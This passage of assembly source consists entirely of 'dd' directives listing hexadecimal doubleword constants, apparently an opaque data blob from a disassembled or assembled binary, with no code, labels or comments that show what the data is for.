		dd 2CC189D2h, 381483h, 0E13FB55h, 4DB77068h, 0C5025CEEh
		dd 0ABEC3ECFh, 5A988047h, 3195C9h, 233B6D43h, 5D8157F5h
		dd 3EF27800h, 0B71EA824h, 0B9B400A6h, 0EE95026Dh, 0CD144C9Fh
		dd 0E8E640h, 45DC3099h,	0CAC36Bh, 59F9BFACh, 0A8DF21D4h
		dd 99383500h, 0F5802C83h, 115612D0h, 524447FFh,	59B6A769h
		dd 0AC449020h, 0F200D602h, 222FDBDEh, 0CC7B12h,	0B8036680h
		dd 6021745Bh, 0E10F4578h, 6E7EA15Ch, 92D90536h,	0EB8B3C91h
		dd 9ACEECh, 75672B7Fh, 0B80F3F4Eh, 0D5540100h, 0BED24F6Bh
		dd 77B6002Ch, 6116A007h, 7B00BF6Ch, 3558BB97h, 7BAD4C2h
		dd 0A88CADB5h, 334AD02Eh, 7E0EDE2Ah, 5FB9FDh, 84E49E97h
		dd 0E570381Ah, 76AB4781h, 2479336Bh, 0D9009060h, 469B50E2h
		dd 0A32F3Bh, 0B640635Eh, 0C7476849h, 586B7500h,	715323BCh
		dd 5A240045h, 5C263776h, 3A704F48h, 50494C0Fh, 0AFD5EF06h
		dd 92BCA0D4h, 780235h, 7A54FB08h, 6DAA5314h, 0D4B18A01h
		dd 641FC3D1h, 1F4B93F8h, 3FD1825h, 2ECEA7ACh, 0A6678D8h
		dd 896D6807h, 0C11026B3h, 17677205h, 4EEEF608h,	20396F30h
		dd 1EB90136h, 0CFD0DAD1h, 344A2EF8h, 0F7BF8044h, 0ECD3607h
		dd 2D37DE0Bh, 10A4080Fh, 2606B900h, 1B4F22h, 8396E37Eh
		dd 3A69BCA5h, 0BFC25001h, 153007F6h, 14893886h,	4B0B81EFh
		dd 8E0EFEE2h, 0BEC5EE90h, 9738F6C1h, 584AA93Fh,	0A7904721h
		dd 0D3B9C602h, 0B11076F8h, 0D00754B3h, 14A10E85h, 0FAA06347h
		dd 90287AC3h, 88E61E02h, 0E0AEE7A8h, 47EFA0h, 0A62D08Eh
		dd 6EF0C84Bh, 0EB77BB00h, 0D75F87B5h, 319B0074h, 0F33E467h
		dd 0B63FC16Ah, 4FA88030h, 0A29FA77Dh, 17C21E2Dh, 211D3EA6h
		dd 0B73CC0F6h, 0B3886D87h, 0E85EF309h, 476F073Bh, 635510D0h
		dd 6C4100D7h, 58FB9180h, 427B3605h, 46FE9302h, 0C028EFC0h
		dd 7EB1893h, 0B60D0799h, 0EC6E3057h, 0C00104F1h, 46053AF6h
		dd 0D2DCACB5h, 0FBF9C00Eh, 23A2482Fh, 9E0345E4h, 0E686CE8Bh
		dd 0A8A7F0D0h, 6E4F14F8h, 5200987Eh, 0AA25A483h, 0C902C816h
		dd 82BB693Fh, 4EA6E0E7h, 3E463790h, 0F8620638h,	4205B480h
		dd 92C71000h, 73F8D711h, 0ECDD0016h, 0B96A0ABDh, 0FF0BEECAh
		dd 0A0BF9E08h, 0DD5C30D8h, 52E0000Fh, 831367C0h, 6A0EE239h
		dd 0E07AFB7Bh, 0B0C3868Ch, 301901FAh, 94DA4A37h, 96EC5335h
		dd 0B51236E8h, 90FB471Eh, 0ED9273C2h, 5B7B6051h, 0D8CA01E4h
		dd 63EEC709h, 69A980B7h, 0D6999E01h, 46AD3F73h,	636FC700h
		dd 246D3B88h, 9DC398ABh, 0C1033171h, 46830F09h,	3E280ECh
		dd 569395Fh, 9097E304h,	60E8A118h, 4700C451h, 46EDA12Ch
		dd 0B481CCh, 0B8833BE6h, 7DE45490h, 0E5288E00h,	0E9BE6AFAh
		dd 0EE5700A6h, 0E01F4E9Ch, 9900AA04h, 2A8B4FAFh, 5C841BC0h
		dd 2300A416h, 8059146Ah, 80FDE8E9h, 0D3517E19h,	1831873h
		dd 0F8C1EA95h, 81E17697h, 2D7C2320h, 0CEF0CFFCh, 9F4F018Dh
		dd 4CED9417h, 619941Dh,	986A1CD8h, 7D31EEC0h, 7B16DB97h
		dd 1E27D9Ah, 0F9CFBB04h, 816CA60Eh, 77E36F58h, 29303453h
		dd 0AB6D00B4h, 65E2FAFCh, 92374360h, 0F3C12847h, 1887DEC8h
		dd 4C539342h, 5C063A99h, 0CC70277Fh, 7CDC0B68h,	4280D450h
		dd 4CE20688h, 0A0DB5930h, 186CFB04h, 81F70EFAh,	0A872E35Ch
		dd 1DAD58C7h, 88BBAA40h, 98F330F9h, 18017419h, 83158E1Fh
		dd 5781C0Fh, 9400474Ah,	0CA603C6Dh, 7C5D0FE2h, 0E12C15CEh
		dd 1042FC90h, 0C2215610h, 0C38144h, 10E85C02h, 0EA16851Dh
		dd 0F36CFCC1h, 744FF554h, 0E010FC10h, 792548h, 955BEA92h
		dd 297CE011h, 6ACCA254h, 1870CD34h, 0F30D08C1h,	6F7A1883h
		dd 5003F75Bh, 0E33E04Fh, 0D71016Ah, 0EF9944AAh,	0E811E485h
		dd 5908BD66h, 0B1A60021h, 7C254944h, 50C5F0A1h,	0AC00987Dh
		dd 1894161Eh, 0F02C9087h, 299E00E4h, 88A7AA4h, 0D16502FDh
		dd 9840FE08h, 0F12986C1h, 0E4510568h, 0E2E670h,	859F6D7Ch
		dd 0E561C480h, 552FC111h, 0C308C70h, 0C06068F2h, 0A4A0F33Ch
		dd 3700A76Dh, 58FA5055h, 0FB84ABBBh, 510A5082h,	0DC807693h
		dd 9DB36C88h, 0F68481C0h, 32A254Ah, 81DCB843h, 824A86Bh
		dd 7BD14DDh, 0A322592h,	0D5DD360h, 7CED0540h, 1C5483Fh
		dd 16CEEA0h, 1F8440F7h,	80AC9816h, 0A829B204h, 0EF62AA7Ah
		dd 0FA29422Ch, 0CCBB00EAh, 0EE5C8A42h, 410C4C02h, 0B01E86F2h
		dd 0BB71120Ah, 2C3C4F60h, 0E3B69060h, 2F6001F7h, 494EB0E4h
		dd 20DA007Ah, 253F064h,	0BA1C3731h, 4C41B7E6h, 356F521h
		dd 0EB2FC4h, 0BC95B3DFh, 0ED3C17E4h, 0BFB55A00h, 659FDB23h
		dd 0D0570F02h, 2420DAD8h, 9FDB7C1h, 8429ED00h, 441A31E6h
		dd 3ED074EFh, 558B6405h, 41035313h, 24A84328h, 0F0096C79h
		dd 80AEF3BBh, 9BEEDB7Bh, 3B580005h, 2CC60C54h, 5F0052E6h
		dd 0A66CBF16h, 3C53A01h, 0A2C1FB9Fh, 0E4C03CBDh, 0C30608A7h
		dd 0E5975CA1h, 0D0048730h, 476EB421h, 78D56110h, 8CE45859h
		dd 92281C60h, 63E8803Dh, 0A95221ECh, 9D28BC62h,	22D82467h
		dd 8661168h, 0C6704575h, 22F5F213h, 8924D42Ah, 6F104022h
		dd 83E89F3h, 9C7F4411h,	0F2692284h, 1C112242h, 1EA82175h
		dd 106CD0B3h, 9E00ABF6h
		dd 0E6069BC9h, 0AC00DD0Fh, 7EC34B6Ah, 7F792CBEh, 0ED7A48h
		dd 1D2E38DEh, 0B55F288h, 3458CA01h, 0B08F29A5h,	0D190F8h
		dd 0B314325Ch, 4C7D92Bh, 6E779E00h, 0DA0278A6h,	0A5F3001Eh
		dd 62992E9h, 3D00EE72h,	8AAA095Fh, 0F6944F46h, 41D43E9Bh
		dd 208EC4BFh, 16C015BBh, 735263C1h, 66D5CD01h, 1BE4E7DFh
		dd 0B0325FFCh, 95140010h, 6DF85834h, 1D00C6DCh,	570B89FBh
		dd 0E5191FAh, 49AF6890h, 0F8773060h, 815888D3h,	950170A6h
		dd 0B7604469h, 0DFC16522h, 38C58271h, 160CA7E0h, 7998480h
		dd 731B3CB1h, 7ED83474h, 6E00D1E0h, 6A123F3Eh, 7DD3735h
		dd 0EA712A8Eh, 0E65710FDh, 0D600FEF3h, 25F0AE92h, 0E686Dh
		dd 0DF887A3Dh, 0CDDB52EFh, 400849h, 0FCF6EDC0h,	748F77A5h
		dd 0A5200C9h, 39EB863Eh, 5700499Ah, 82AE48F5h, 1DDFDFEh
		dd 0A51AFC69h, 313F4A31h, 501887D9h, 2C22E92Bh,	34BEC033h
		dd 57E4075Ch, 807639C4h, 4C8432AFh, 0DB567012h,	0E081041Bh
		dd 1693F7A2h, 831072h, 9EFE6EDDh, 0F603EA48h, 0A5A34999h
		dd 8BB688A1h, 1B651F76h, 0AAE3400Bh, 0DE5F8AD0h, 1F467A39h
		dd 38000AF0h, 4BD1537h,	0F8AF00E8h, 74CEC4B1h, 0F006C16h
		dd 97CC21E2h, 397B51E6h, 0F8180B6Bh, 0C1FE78D2h, 0CC384E00h
		dd 0B63F026Dh, 9C66286Fh, 34F0EF84h, 337607E4h,	0C05972E2h
		dd 2B314FADh, 6277CF00h, 0AFFA365Eh, 0DD3B00CDh, 6DC8CACBh
		dd 500193Ah, 0B9E29763h, 5F1F56h, 0B8071727h, 0DD960930h
		dd 9CF5503Ch, 0FD00A236h, 9EAA7CCBh, 85CC0034h,	4918F4F7h
		dd 683C1A3Ch, 247180EAh, 0EFBC446Eh, 77AD003Dh,	29A2D691h
		dd 1C035292h, 6D62B836h, 0E5761EA8h, 0D580F5Eh,	99315780h
		dd 0A07C21E8h, 95B0BE00h, 36C843Ch, 291F1E7Bh, 474400D9h
		dd 1EFA869Bh, 0AE9EE100h, 4059CD4Ah, 0ED710EA4h, 0C0C0E601h
		dd 0D8E3E429h, 98F8E000h, 4B9175CDh, 0EC192452h, 67C08428h
		dd 0C874807Bh, 89002B9Ah, 0A129A3C5h, 0F3417Dh,	6F3C1324h
		dd 7A4F23ECh, 2009540Ah, 8F00AC80h, 0AFBB9F4Ah,	0B54003DBh
		dd 0B6FAE0D7h, 0D090D298h, 8F51AB3Ch, 20B80DE4h, 66621142h
		dd 76D00AFh, 0B2FEDB55h, 5F00A3D7h, 7C59C44Fh, 26411EECh
		dd 89ECB794h, 3C1CA547h, 0D6EEE61Fh, 27908D80h,	0C6F816h
		dd 0CE47E028h, 0F1BA9A07h, 7F033490h, 290F5276h, 264E0061h
		dd 6C349B7Bh, 600E2DFCh, 0E03128EFh, 4B8678F4h,	0A54800AAh
		dd 0BD7D1B66h, 0ACEE9108h, 0B776C600h, 31F08EA7h, 0AE900F0Fh
		dd 0E2A09F20h, 0AAFD1C5h, 0A901887Fh, 0CEF8FB87h, 0B0DFB779h
		dd 195ABEh, 0C604857Dh,	0B4B93E3Ah, 73E75207h, 0FE527CC2h
		dd 2A2CC05Ah, 0B3D83E0Dh, 7FC84400h, 4B0F87B9h,	0B517CA03h
		dd 0A83A12DBh, 0B87A6CAAh, 0E26609F2h, 0B0A07DAEh, 0C43D095h
		dd 28C5B500h, 0EF64D1F7h, 0B498D2h, 0A52533EAh,	0D40E86CAh
		dd 15DAC501h, 0A2DE2280h, 4B5DD0h, 769ABA7Ah, 91FEF54Ah
		dd 8E9C3000h, 0C2822042h, 2D16004Eh, 1D89DF32h,	0B371F0FAh
		dd 5D336E00h, 0CC2C3F47h, 973D00E1h, 8D386C15h,	0EB0014F5h
		dd 7FD9879Fh, 5BD7FAh, 33D35F24h, 0DC073B7Ch, 15339h, 69617195h
		dd 5C4636FFh, 0AD0034E1h, 90ED4AB9h, 0E3D201Fh,	260849A0h
		dd 0C04184BEh, 5C202E17h, 0BAC50938h, 805D80CEh, 0EBB5B81Fh
		dd 403E0720h, 0C0300C37h, 39528AF8h, 0B71D2900h, 0F39A6EDDh
		dd 0B4E84C81h, 61C81B18h, 267D03Ah, 8B30AEC9h, 4C46EB6Bh
		dd 0ED033081h, 7B1368DDh, 0A41E6800h, 0C3850899h, 0EB7800D3h
		dd 0C1AD2084h, 25031594h, 0B67D262Ch, 70E5E09Bh, 558B09BDh
		dd 1500D5E4h, 0B45E66ACh, 3100BEFCh, 3D6FC3CEh,	26D7957Ch
		dd 9482EE6h, 8E0E7FD3h,	76F374h, 1D3F2A43h, 0F7371711h
		dd 0C4958D00h, 2FBD30EDh, 0DFE2006Ah, 10B4B5D9h, 0D103C379h
		dd 1DA912C8h, 0DE0B8172h, 1E6870h, 0E353D761h, 5EFF6489h
		dd 7C9B4101h, 94C7978Bh, 499E4FE4h, 521CB82Dh, 0B45400EAh
		dd 7691CB7Bh, 85F11612h, 4287BC03h, 175CE860h, 0A37AFA82h
		dd 0A05AA3C8h, 807D6720h, 500E0DEAh, 3F3AC525h,	0A1D5EB00h
		dd 758E83E7h, 0BCCB0A6h, 8B63E351h, 0D992B8A0h,	29052410h
		dd 0A9B9495Bh, 0B3C3C800h, 1126C7h, 0A1B125C0h,	923464DEh
		dd 0CA4B424h, 4E16540h,	7C8000ACh, 2F765966h, 0EA1E3ECBh
		dd 0B4404B39h, 0AC3F8FE9h, 0E3931C4Fh, 833409E0h, 8A610401h
		dd 70740058h, 0E29B0387h, 0D13924F7h, 14FCBF88h, 8ACF430Eh
		dd 92A78016h, 1E0E28EAh, 87C8129Bh, 1D12E6Eh, 0C8BD6A79h
		dd 0AB001C57h, 231786CFh, 3B0356h, 84C858D5h, 127D79B6h
		dd 0A3AEDE00h, 2D89B150h, 0F3F9071Ch, 7EC6E6BBh, 0BE179AA1h
		dd 0E8A771D0h, 6260A739h, 90B1D6A0h, 6C8D0135h,	38210129h
		dd 0B8B6DCD8h, 5D0024F4h, 7633BA7h, 0F064F161h,	7EB3039Fh
		dd 0A658E913h, 204C288h, 397C7801h, 42AE18C6h, 0FC1860h
		dd 0FFE0F10Bh, 0F4B7EF9Ch, 871C4E00h, 0D3EADD14h, 0F9735Ch
		dd 7DB6FEF7h, 4F43DF50h, 0AB03250h, 0B71F4C77h,	72001D24h
		dd 0C358CDE8h, 490D4h, 0EACBC7C6h, 2F5570B4h, 3C930A1Eh
		dd 2090724Ch, 67962CB3h, 7F1F0E2Ch, 8038B80h, 8D72A19Fh
		dd 0A0CB5204h, 39C2D7E2h, 7AA36001h, 8CB9031Ch,	0FC442979h
		dd 0D02457C0h, 0B04DD200h, 6B75DECAh, 0A15B00DFh, 0A070077Ch
		dd 9A2C58B9h, 0BE0004B6h, 0BCDC7A17h, 54F000ECh, 9111CC64h
		dd 5B0B57A3h, 0A01CF1F3h, 65B4C480h, 6C74EF78h,	0A5D81D2Dh
		dd 3D1240A7h, 0B7DBFA29h, 0E808B600h, 0E7715873h, 136F9847h
		dd 9344869h, 286075DCh,	6FFE4FFDh, 57877B1Ch, 1B05BE80h
		dd 3346FAh, 84685D01h, 0D97872E0h, 3CCABD24h, 0AA51C502h
		dd 10CCA05Eh, 3F1EE14h,	4BDEF4F8h, 0A8702034h, 852CD23Fh
		dd 0A7721299h, 8FE7F607h, 331017F7h, 79F56Eh, 0F631DFC0h
		dd 3DFC45F2h, 0CFF3A101h, 5A3F954Fh, 969E60h, 88369829h
		dd 0FDE661E4h, 24D09C05h, 14C0B279h, 0C0F66041h, 0C695C198h
		dd 8C001CA4h, 0BECA08F1h, 3FB32449h, 5F8293E6h,	2B06FD94h
		dd 92A89F63h, 46399C03h, 218B004Fh, 581B4E9h, 15EB0035h
		dd 72D5C7A8h, 643EC914h, 0AC160091h, 0AE265F8Bh, 0DB3C3E0Eh
		dd 6C8C0100h, 205EDF0Ch, 508DAF38h, 6B0052B6h, 0E6BEB025h
		dd 78E6DD7h, 2659ACC2h,	0D9C190CCh, 770FC7E5h, 0B2F188h
		dd 0F70DB31Fh, 51A50043h, 14A939EDh, 0A10073D7h, 0A7546D8Ah
		dd 139122h, 77CB2BC9h, 6C89215Eh, 1A1C3C02h, 804988CFh
		dd 0FC9FABBCh, 46770B39h, 2080A426h, 44A336A6h,	1C32F00h
		dd 0A9BD98A2h, 0B8D4001Fh, 97D0EF69h, 0A124F85Fh, 0E009860h
		dd 545C727h, 119A0001h,	9EAEE1D6h, 0AD07A35Ah, 0D7CBBF38h
		dd 0D3FA600Fh, 0E7F8C18h, 0A778739Bh, 53194802h, 8E67D440h
		dd 34FD5207h, 9340B7E4h, 95A1D0h, 31AE9A17h, 6E26B162h
		dd 7B49B400h, 237494FCh, 0BC6B0198h, 0AD2AF815h, 1E8DF0F9h
		dd 0E5F7907h, 10C04CD0h, 0AA0151h, 0B74617E5h, 0A1FB1F2Ah
		dd 927DDF00h, 572C3786h, 30F4B0DBh, 0DE19C21Eh,	0ED00BBA3h
		dd 2747FF78h, 0D2A701h,	0B1C1C4F6h, 7B83651Fh, 93B35200h
		dd 0B9223023h, 1492C8h,	0DB68585Ah, 0A25B7C88h,	511EF200h
		dd 0FD5340E0h, 643700D1h, 90A8CD32h, 9100DB10h,	46ABCBF8h
		dd 0FA75E0F0h, 0ED6F0007h, 0E84E48F7h, 260090CFh, 0FD0F1AEFh
		dd 0F896E2E4h
		dd 3DBB00C6h, 492E727Fh, 7E018C68h, 0D0AEEB2h, 0F230879Ah
		dd 1589059h, 0ECAE1F3Fh, 0E42B04B4h, 0D573E6FBh, 0B2A4E507h
		dd 35C0FA5Bh, 20C14DFh,	0C390ACDBh, 4840C2BBh, 45000261h
		dd 0BA499C32h, 9596C1Fh, 0A85779EBh, 4C034E2h, 0F43BE205h
		dd 0E15D801Ah, 0AF3D5527h, 31972DAh, 4C653CD9h,	3980D381h
		dd 9C504E4Dh, 481C8FACh, 1900699Dh, 33639EECh, 4DB10029h
		dd 22F56A09h, 591D434Eh, 1C3D646Ch, 55400C1Dh, 18F8AF37h
		dd 1BF4004Dh, 515E26DDh, 40C078D6h, 0F35074B4h,	0FBC900A2h
		dd 9EE23CDBh, 0C40115D8h, 782C1316h, 0AA405F10h, 18ED4E8h
		dd 7C8C5773h, 6049F2ECh, 880048B0h, 0CCD7AA6Dh,	9FDFE5Fh
		dd 0FFDB60B4h, 1C1464A5h, 4B42DEC0h, 0BCA03291h, 0FE4AB8ACh
		dd 0FB245900h, 80C1700Bh, 773898DEh, 9B9502A1h,	7A0F7B15h
		dd 0A6D01CC3h, 0EF0186F1h, 0BD9C973Dh, 0ECF8E5D1h, 49290038h
		dd 5B36A825h, 0CC17C7B9h, 19C08678h, 377D1BFh, 2E1E79DEh
		dd 3005F8BBh, 0D5113689h, 23664481h, 443990EDh,	0CA0F4448h
		dd 0BC1BE0h, 78A86372h,	64FC46BAh, 301FF900h, 0DD4C76E5h
		dd 0CE541F3Dh, 8C8E00E0h, 0AB6675A1h, 0AE60AC24h, 71F10800h
		dd 0D64FA3h, 801B507Ah,	3837A7FDh, 147259h, 0FF96348Ah
		dd 999E312Bh, 0A5EE0830h, 5A4DDE03h, 0B307807Dh, 70587B5Eh
		dd 4B58B2B9h, 65F0403Ch, 0BA7D052Eh, 9FDEE30Bh,	5223A1EBh
		dd 5CF8DC17h, 237A3A60h, 0D4923F7Ah, 0B145CC85h, 0A2D80188h
		dd 0F319CB6Ah, 1687F7A8h, 54AC5C00h, 0F4C7831Fh, 70596108h
		dd 7AB819FEh, 3891F980h, 7010088h, 0F550DE06h, 0CC00A5DCh
		dd 897F1A62h, 0A49CF9h,	5A26BB64h, 0FFE81B1h, 0B96CED00h
		dd 8E10C5A7h, 94072EA1h, 83C40048h, 66F012B8h, 0F78F1900h
		dd 0EF8E3B0Fh, 0C070004Dh, 921844C2h, 8A00A889h, 0F7AADF5Eh
		dd 30C81360h, 66F0B3F3h, 6003528h, 0B40E8E61h, 8111F9h
		dd 0D08F364Bh, 8AC1CEEFh, 84F2F4FEh, 49C54C07h,	0A970CBBCh
		dd 4A3732h, 0DEEB78FBh,	2C98BF99h, 6249598h, 6C0177C5h
		dd 8BD27E32h, 0BF91052Eh, 0B1E000D6h, 48D9E31Ah, 37DED700h
		dd 0E8B2B32h, 254001Ch,	0ECD03DD2h, 46000409h, 47729221h
		dd 290BC430h, 0A8E9AAh,	25326BBEh, 541771CDh, 0B7054421h
		dd 94A0BB16h, 55200AA0h, 84CCA438h, 0C4A378A6h,	0B2CC0EC4h
		dd 6A298B40h, 75003D9Bh, 421C342Dh, 2818F11h, 5F935988h
		dd 78724B46h, 7A077FF4h, 0DB24E507h, 2E013E10h,	569078Ch
		dd 5A93ED1Ah, 0EFE80FCCh, 6C3DA60h, 9E01E435h, 2C721A13h
		dd 85FC0AF8h, 9870F458h, 4C5C0109h, 7D311FA2h, 0D9FED8FBh
		dd 85003F70h, 0C56373B1h, 74966D5h, 0CE6F2EA7h,	3634A04Fh
		dd 7300E4F6h, 569AE8F4h, 3E286Dh, 57E92D9h, 0A3AE54B6h
		dd 16BF6B3Bh, 0B00C4E7h, 672A0A23h, 0B960076h, 0B7F6E2A9h
		dd 860036ADh, 11CBCDBEh, 3A0C9909h, 0F58F973Eh,	9D8076DFh
		dd 0E6B1834Bh, 0EBF36309h, 0A08C0BAh, 0B4B90170h, 26D071FAh
		dd 5548FC99h, 0F4C16912h, 0B540C41Ch, 0A038F2FFh, 5A8F0084h
		dd 29DC61EFh, 3D030BD8h, 36F19EB4h, 4074DA2Bh, 48C5AF50h
		dd 0BA00542Fh, 6D0217C3h, 5D017583h, 0FD634137h, 6BFC062Bh
		dd 977A1E45h, 17D6BDh, 7BBBD0B8h, 65003659h, 74CC18B0h
		dd 4B4FDC52h, 0AA5C00D3h, 413163DDh, 7D557300h,	4A142C45h
		dd 399FE09h, 778B7110h,	0D5F8336Eh, 0A3006950h,	0DD1F72B7h
		dd 16D3E25Ch, 0BB761936h, 2512E502h, 80C448BAh,	26F9F6F0h
		dd 5096D5h, 428560Ah, 0F6390B1Ah, 0F4B977Ch, 5E3B8430h
		dd 89FE1Bh, 273E47C5h, 4CBF3FB9h, 359FED05h, 0FCA4BE9Dh
		dd 4C70FD3h, 15E3AC0Ah,	80A72827h, 0CB3D546Ah, 8F6DAF00h
		dd 3F5E701h, 60970017h,	0FA7FE468h, 0DB3C5BB3h,	76DE81E1h
		dd 0B61ACE9h, 0AECA8F7h, 35940E64h, 78E044FFh, 7997DAB3h
		dd 8B392300h, 2E11468Dh, 6B6015BEh, 8A01F86Ch, 0A1920C7Dh
		dd 0CD5C3410h, 0F700A092h, 2B517138h, 3D24F17h,	9F0B4F2h
		dd 0BFB89783h, 200BD3Ah, 15798973h, 0A8CE024h, 6A1B8571h
		dd 50A000A0h, 0A851B325h, 0C3E21109h, 0C6CC186h, 0EEAE4h
		dd 4DBC8DA0h, 77E0D8B6h, 58223Ch, 0EA28F651h, 7EB0823h
		dd 1E921407h, 7AF8E035h, 28E6DA57h, 534E9F00h, 0FF12BD23h
		dd 3C4098E8h, 99815AF1h, 0F61E1789h, 0CEE63071h, 50B95058h
		dd 2C001FA3h, 62855BC8h, 607B1D2h, 69748470h, 6D00602Ah
		dd 0F2AAFE16h, 26328DE6h, 404A15h, 547BD772h, 61007406h
		dd 0D2E32DD6h, 98AF0262h, 16334AB8h, 0C1F6007Ch, 52B8EF1Ch
		dd 0AFE4FA01h, 1BD3BD89h, 9C3420h, 319F8A2Ah, 602DFD90h
		dd 74F148h, 3D0C7EA0h, 718744Eh, 171B9BA9h, 68FA3098h
		dd 130163E5h, 0A3D24A80h, 0B2FC93DDh, 23450F16h, 0AC802EAAh
		dd 4C113532h, 62A41403h, 0B8EF2BF3h, 3CD07Fh, 7080574Bh
		dd 4647ABF1h, 2FE4D800h, 95022E7Dh, 0CD1E0069h,	2518867Eh
		dd 0AB17BBB1h, 8009D85h, 56CE19A9h, 3C5E7366h, 0B859BFDBh
		dd 0ED8E11h, 1DD54664h,	4BFE66h, 1EDFE4BCh, 1BDA89E7h
		dd 769260C0h, 0F15B8411h, 0E3666070h, 1F8DC0F4h, 0C00F0621h
		dd 3986FDA6h, 8200DBD8h, 0E3501119h, 0C95144F2h, 0D0C88F70h
		dd 32E28008h, 0EA00A4BCh, 0F5D7F1EDh, 0A03BB0F9h, 5E7FBB34h
		dd 8B80007h, 0FDBCE156h, 21C17DB8h, 53F0D414h, 32D2CD0h
		dd 27680795h, 0E5F94B63h, 0A46C83h, 9B9A7DC9h, 1EC320A3h
		dd 80B54933h, 1E3A0D9Ch, 0DC0F4DD5h, 0C0BF82CDh, 0A50A92E6h
		dd 16750F29h, 0F5E5A96Ch, 9524C01Eh, 0F0DFF006h, 72332C0h
		dd 16D8C8Bh, 748FE7E9h,	3067BC14h, 193D776Ch, 178500EBh
		dd 505FCF59h, 1639000Dh, 0CB0E9382h, 0DF0084A9h, 6AEFCA6Fh
		dd 1896030h, 0B4D22D7Eh, 0D776D9BBh, 79389003h,	0E0FD5907h
		dd 0AAF4ECh, 28D194E6h,	44AEC4F2h, 0ACA048EEh, 0A8B631A0h
		dd 46D27200h, 0C4B809h,	77B6412Fh, 0D8558DD3h, 0B03F6400h
		dd 9D265317h, 6FD4FF5Dh, 9FF400EEh, 0F71A3BFAh,	0D60039CAh
		dd 0E65B8B97h, 70FCFDh,	0BAB1C05h, 50F3B21Fh, 0F7C6CC02h
		dd 6096ED66h, 0EAD9C504h, 2BD4FCEh, 874E7B08h, 5BFBA843h
		dd 1F9F59D8h, 0A6BBAF0Fh, 0D001B790h, 0D198DD83h, 0F42EE024h
		dd 38C90088h, 0DB8CF329h, 96049991h, 8EF9A68Ah,	4A2CA0h
		dd 103896Eh, 6AF35CBDh,	9446648h, 21B82D5Eh, 0E9772290h
		dd 0E40AAC20h, 1B4BC94h, 0CF17DFF3h, 0FE1180BDh, 715F38F0h
		dd 6E3D0BD1h, 0F0E064C3h, 0EB73C449h, 183CF700h, 1C0BD026h
		dd 5EBF0989h, 0C00EFF5h, 0C8E81FDh, 6EAE3905h, 60E06D4Eh
		dd 775A0275h, 5C0327BEh, 3F538080h, 810182BDh, 0C1C87FB7h
		dd 4ED5EA45h, 5671B887h, 0B410095Bh, 8B038A77h,	2285C601h
		dd 5031F8A9h, 467600D8h, 0F47BB603h, 0F80F374Ah, 0C021EC4Ch
		dd 7C31F653h, 701D00AFh, 0C1D1E551h, 87049409h,	2C462F92h
		dd 0FE9F1D80h, 5F744C1Eh, 330D3105h, 7E1C908Fh,	2E043898h
		dd 0B9113756h, 5E85CC90h, 5C7400D3h, 9AE34F25h,	793C16FEh
		dd 3AE7051Ch, 0B0C0DAA7h, 6A8F7Fh, 442739EDh, 86410D91h
		dd 781C4358h, 7DE791A1h, 0F7A5C0E0h, 7FD70D87h,	927300E0h
		dd 0C7DC3C82h, 5100F32Dh, 0D9E874FAh, 0F06FF430h, 0F5A900E0h
		dd 0E3652B0Ah, 8B59C3AEh, 6AA60034h, 0B2EE8625h, 0F93A00F5h
		dd 2994AD87h, 7F006740h
		dd 0B922601Dh, 0B03EC126h, 53760000h, 7E1C016Ch, 0E800FDB1h
		dd 27C39F21h, 164CE14Eh, 0FC146064h, 0A077007Eh, 3C29CEF6h
		dd 22F100A2h, 4DA19CFh,	0C51FD5F4h, 0A9805296h,	72CBDE4h
		dd 0C97C2Bh, 0F4FE7FE9h, 0EAAC2D90h, 0A7AB3500h, 968A7A0Bh
		dd 102B1612h, 97744F8Fh, 2936FEC0h, 60397B03h, 0A8439E2Eh
		dd 0B48E7A40h, 98B170Bh, 8C701EB1h, 47DEEB0Ch, 9BE6E000h
		dd 9EAF0E41h, 990A008Dh, 3E358B80h, 6C967552h, 8942E100h
		dd 742358CFh, 0C078EAh,	0C7B4E5Ah, 0D0DE685Bh, 0EF89E96Eh
		dd 0D9EA4040h, 7414932Eh, 0B98D0082h, 7596F321h, 0C2030B2Dh
		dd 0F198AC9h, 0DC2804C6h, 81EAE982h, 0C852E654h, 38A08A22h
		dd 147E8DEDh, 6F93A003h, 0D47B5660h, 3AE4A9C0h,	79FB488Ah
		dd 818B6212h, 0FCDC5200h, 700CCBE9h, 48A71223h,	3CA11416h
		dd 0D6165468h, 0CB5C4C4Eh, 41001220h, 52BCA41Eh, 0A790A5h
		dd 93BAD9E3h, 0FFF6D144h, 0D3DB9A00h, 0A85C4AB2h, 5713BB4h
		dd 2DEDD603h, 0C9B87CC3h, 0EA01C1A2h, 0F78EE8EFh, 9860D740h
		dd 0F51C07B3h, 0A1457924h, 0CC5E3704h, 0E40094C6h, 6083E10Bh
		dd 0F733096h, 502DBF1Ch, 5F369247h, 15357FA0h, 0FC0AB958h
		dd 0D67A41E4h, 5721003Bh, 1D33D568h, 901C0030h,	434A2FFEh
		dd 4700B34Dh, 1FABE9ECh, 1FADEA7Bh, 0CF184446h,	805D45CAh
		dd 0E2E3ED3Eh, 8F0063C7h, 0C55A6A2Fh, 3EBA944Bh, 0EE00E64Ah
		dd 3B69C618h, 34918951h, 1DEC8580h, 7DE5B35h, 0E626E78h
		dd 21F84E7Bh, 1D00F417h, 2E238EAh, 113211Ah, 0A70B9430h
		dd 0E4E43FF3h, 5616AA58h, 47047D65h, 0F0B8BCC2h, 0BE0C5C0Ah
		dd 963240CCh, 0A071CAAEh, 0C9330490h, 5560898h,	0AE8E0921h
		dd 0DBB1C03Ch, 8101DFECh, 0CBA09E59h, 344185EFh, 0A0067A99h
		dd 181A3481h, 14AE0890h, 50C4B0A1h, 0AE880B40h,	7D00CBB4h
		dd 63EFE4F0h, 0A787C42h, 324ADFE6h, 0F0F42F94h,	21BB2C0Fh
		dd 6A079745h, 0E2CC503Ah, 0E7F3A900h, 0DE4E8A12h, 56080266h
		dd 1D990121h, 82E146A9h, 92903061h, 0B9D9C5EEh,	0FC1918B0h
		dd 0A1231EAEh, 2D1140h,	0CEAE8A05h, 2039D6Ch, 0DA38E658h
		dd 0EC82365Ah, 10F2972h, 0BA96EBB5h, 4CB4B19Ch,	0E4105B6Fh
		dd 5D40D600h, 77EB9A25h, 4BFD008Eh, 0DF8D93C3h,	0B600CB59h
		dd 2BC919D5h, 0DC068Ch,	0E2919FD4h, 459392AFh, 3E3AC048h
		dd 0BA4E0066h, 0C6F7BD81h, 10050F72h, 0BBC0A308h, 4E4454E9h
		dd 7CA28A02h, 40A0D7F4h, 26E07Ch, 8EDBD621h, 0B506DC87h
		dd 1C12DA03h, 0B0D54A41h, 329A00Ah, 3A13D01h, 97E042B7h
